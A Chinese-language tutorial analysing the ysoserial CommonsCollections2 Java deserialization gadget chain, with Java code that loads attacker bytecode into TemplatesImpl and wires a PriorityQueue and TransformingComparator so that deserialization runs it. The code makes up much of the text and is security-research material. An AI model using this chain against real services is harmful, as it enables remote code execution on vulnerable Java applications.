在最后一步的实现上 , cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化 。
已知的TemplatesImpl->newTransformer()是最终要执行的 。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分 。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容 。
cc2是针对commons-collections4版本 , 利用链如下:
/* Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec() */
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));byte[][] codes = {code};//给_bytecodes赋值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl类型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);transformer.transform(templates);}}
一、InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值 。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {private static final long serialVersionUID = 3456940356043606220L;private final Comparator<O> decorated;private final Transformer<? super I, ? extends O> transformer;public TransformingComparator(Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}public int compare(I obj1, I obj2) {O value1 = this.transformer.transform(obj1);O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}}
通过compare的调用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);TransformingComparator transformingComparator = new TransformingComparator(transformer);transformingComparator.compare(null,templates);
二、TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用 。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法 , 这里通过构造方法,且initialCapacity不能小于1 。
public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue 。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare() 。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行 。所以这里先用toString()方法代替 , 后通过反射方式修改this.iMethodName属性 。
TransformingComparator transformingComparator = new TransformingComparator(transformer);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");iMethodName.setAccessible(true);iMethodName.set(transformer,"newTransformer");